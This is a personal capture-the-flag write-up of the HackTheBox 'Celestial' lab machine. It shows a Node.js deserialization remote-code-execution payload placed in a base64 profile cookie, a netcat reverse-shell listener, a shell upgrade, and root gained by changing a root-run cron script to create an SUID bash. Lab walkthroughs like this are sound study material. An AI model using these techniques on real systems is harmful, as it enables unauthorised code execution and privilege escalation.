HackTheBox: Celestial


First medium box that I will be taking a serious stab at. It's rated 4.0/10 in terms of user-rated difficulty, which is the hardest box Ive tried as of now.


There is... nothing open. Literally. nmap -p- states that all 65535 ports are closed. Even with sudo.

I tried it with UDP scan too, using sudo nmap -sU, and still nothing.

I thought to try an IPV6 scan on it, but I couldnt figure out how to obtain its ipv6 address.

I decided to try scanning the network to see if there was a gateway with a DNS service running that I could use to find the machine's IPV6 address (im not sure if this would have worked anyway). Out of the blue, one scan showed port 3000 open:

Nmap scan report for celestial (
Host is up (0.011s latency).
Not shown: 999 closed tcp ports (reset)
3000/tcp open  ppp

Not sure why this worked all of a sudden. It's apparently http; when I go to the url http://celestial:3000, I get a page simply reading "404".

Im going to go ahead and run gobuster on.

In the meantime, let me curl it and see what info I can gather that way:

$ curl -v http://celestial:3000
* processing: http://celestial:3000
*   Trying
* Connected to celestial ( port 3000
> GET / HTTP/1.1
> Host: celestial:3000
> User-Agent: curl/8.2.1
> Accept: */*
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; Expires=Sun, 10 Sep 2023 03:13:31 GMT; HttpOnly
< Content-Type: text/html; charset=utf-8
< Content-Length: 12
< ETag: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"
< Date: Sun, 10 Sep 2023 02:58:31 GMT
< Connection: keep-alive
* Connection #0 to host celestial left intact

We see the X-Powered-By: Express header, which indicates that this is a nodeJS site running Express, which has a deserialization RCE vuln which was publicly available when this box was released.

I tried base64 decoding the "profile" cookie and got the following:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

Let me try tweaking some values here, like changing username to "admin" then reencoding it.

What the fuck? I didnt even get that far yet, I went to go refresh the page to intercept a request and got the message "Hey Dummy 2 + 2 is 22"... very fucking weird. "Dummy" is the username in the cookie, and '2' is the "num" value in the cookie.

Is this a port-knocking code to open port 22? ie, ping port 2 twice?

Hold on. I changed the cleartext profile cookie to

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"22"}

(changed num=2 to num=22), and now I get this:

Hey Dummy 22 + 22 is 2222

Is this potential command injection through the cookie?

By the way, the command Im using to generate the cookies is

$ echo -n '{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"22"}' | base64

and just replace any "=" with "%3D" (url encode it).

Okay, let me try this:

$ echo -n '{"username":"Nutsack","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"$whoami"}' | base64

(dont ask why I used "Nutsack" as the username. I just wanted to see if that part would be reflected too)

That produced the following:

ReferenceError: $whoami$whoami is not defined  
    at eval (eval at <anonymous> (/home/sun/server.js:13:29), <anonymous>:1:1)  
    at /home/sun/server.js:13:16  
    at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)  
    at next (/home/sun/node_modules/express/lib/router/route.js:137:13)  
    at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)  
    at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)  
    at /home/sun/node_modules/express/lib/router/index.js:281:22  
    at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)  
    at next (/home/sun/node_modules/express/lib/router/index.js:275:10)  
    at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)

Okay, so the username in the cookie IS what's being reflected:

$ echo -n '{"username":"test","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}' | base64


Hey test 2 + 2 is 22

How do I abuse this?

Im going to try the deserialization RCE exploit described here: https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf

Testing for deserialize() RCE vuln

I actually tried this on [[Nunchucks]] before, so this isnt completely new. It basically comes down to passing serialized nodejs code into the "profile" cookie.

As I said, Im walking through THIS blog post to try and test if this application has RCE vuln: (https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)

Ill generate a nodejs shellcode using the github project here: (https://github.com/piyush-saurabh/exploits/blob/master/nodejsshell.py).

Next we take that reverse shell code and insert it as follows:

{"username":"_$$ND_FUNC$$_function (){<reverse shell here>}()"}

and then base64 encode the whole thing, set up a listener on the specified port, and submit a request to the site with this as the profile cookie.

The request looks like this:

GET / HTTP/1.1
Host: celestial:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"15-iqbh0nIIVq2tZl3LRUnGx4TH3xg"

And on my netcat listener,

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 37684

Hell yeah!

Lets upgrade this thing and get on our way:

which python3
python3 -c 'import pty; pty.spawn("/bin/bash")'

Then background it with ctrl-z, and run ssty raw -echo;fg and reset.

If it asks for "terminal type?" I just enter "xterm".

That was honestly pretty fast. Got the user flag.

Okay. Now, first order of business is to try and set up persistence by planting an SSH key. Damn! I forgot that I cant, because SSH is closed. Oh well...

Priv esc

Just looking at it I can tell this priv esc is going to be a lot of fun. It really looks like an actual person's system. It even has a .mozilla dir in sun's home directory, with firefox cookies which Ill have to check out.

This is awesome. Im liking how realistic this system setup looks.

I transferred his mozilla data to my machine to try and extract useful data, but I didnt find much of anything.

Next up, running linpeas.

Linpeas identified the kernel version as 95% likely a privilege escalation vector. Its 4.4.0-31-generic, and the exploit works up to 4.4.0-116, so we should be set.

The CVE is CVE-2017-16995

Attempting to run a proof of concept from github indicates that this machine is NOT vulnerable despite being the right version. Maybe it was patched?

Priv esc using writable script run by root

I missed this last night, but using pspy I see that root automatically runs a python script owned by the sun user, /home/sun/Documents/script.py.

Ill try modifying this script to copy bash to sun's home directory, then adding the SUID permission. That way I should be able to just use bash to priv esc.

The script probably runs every five or ten minutes. Its not every minute, as Ive been watching pspy for longer than that without output.

Huh... this will be trickier than I first thought. The automated process first overwrites the script at /home/sun/Documents/script.py with one at /root/script.py, thus reeverting it back to the untampered-with copy.

Here's the exact process:

cp /root/script.py /home/sun/Documents/script.py 

chown sun:sun /home/sun/Documents/script.py 

/bin/sh -c python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.p

Oh, nevermind. It WILL run the present script first, THEN it changes it back. Got it. This is what I wrote into script.py to try and achieve priv esc:

import os
print "Script is running..."

cmd = 'cp /bin/bash /home/sun/bash; chmod u+s /home/sun/bash; wall done'


Obviously in a real hacking scenario you wouldnt make a wall message, Im just using it here as an alarm clock of sorts.

Okay, awesome. Wall didnt run for some reason, but it did create an SUID bash:

sun@celestial:~/Documents$ ls ..
bash       Downloads         node_modules  Public     user.txt
Desktop    examples.desktop  output.txt    server.js  Videos
Documents  Music             Pictures      Templates

Which I can easily use with the -p option to get root:

sun@celestial:~$ ./bash -p
bash-4.3# whoami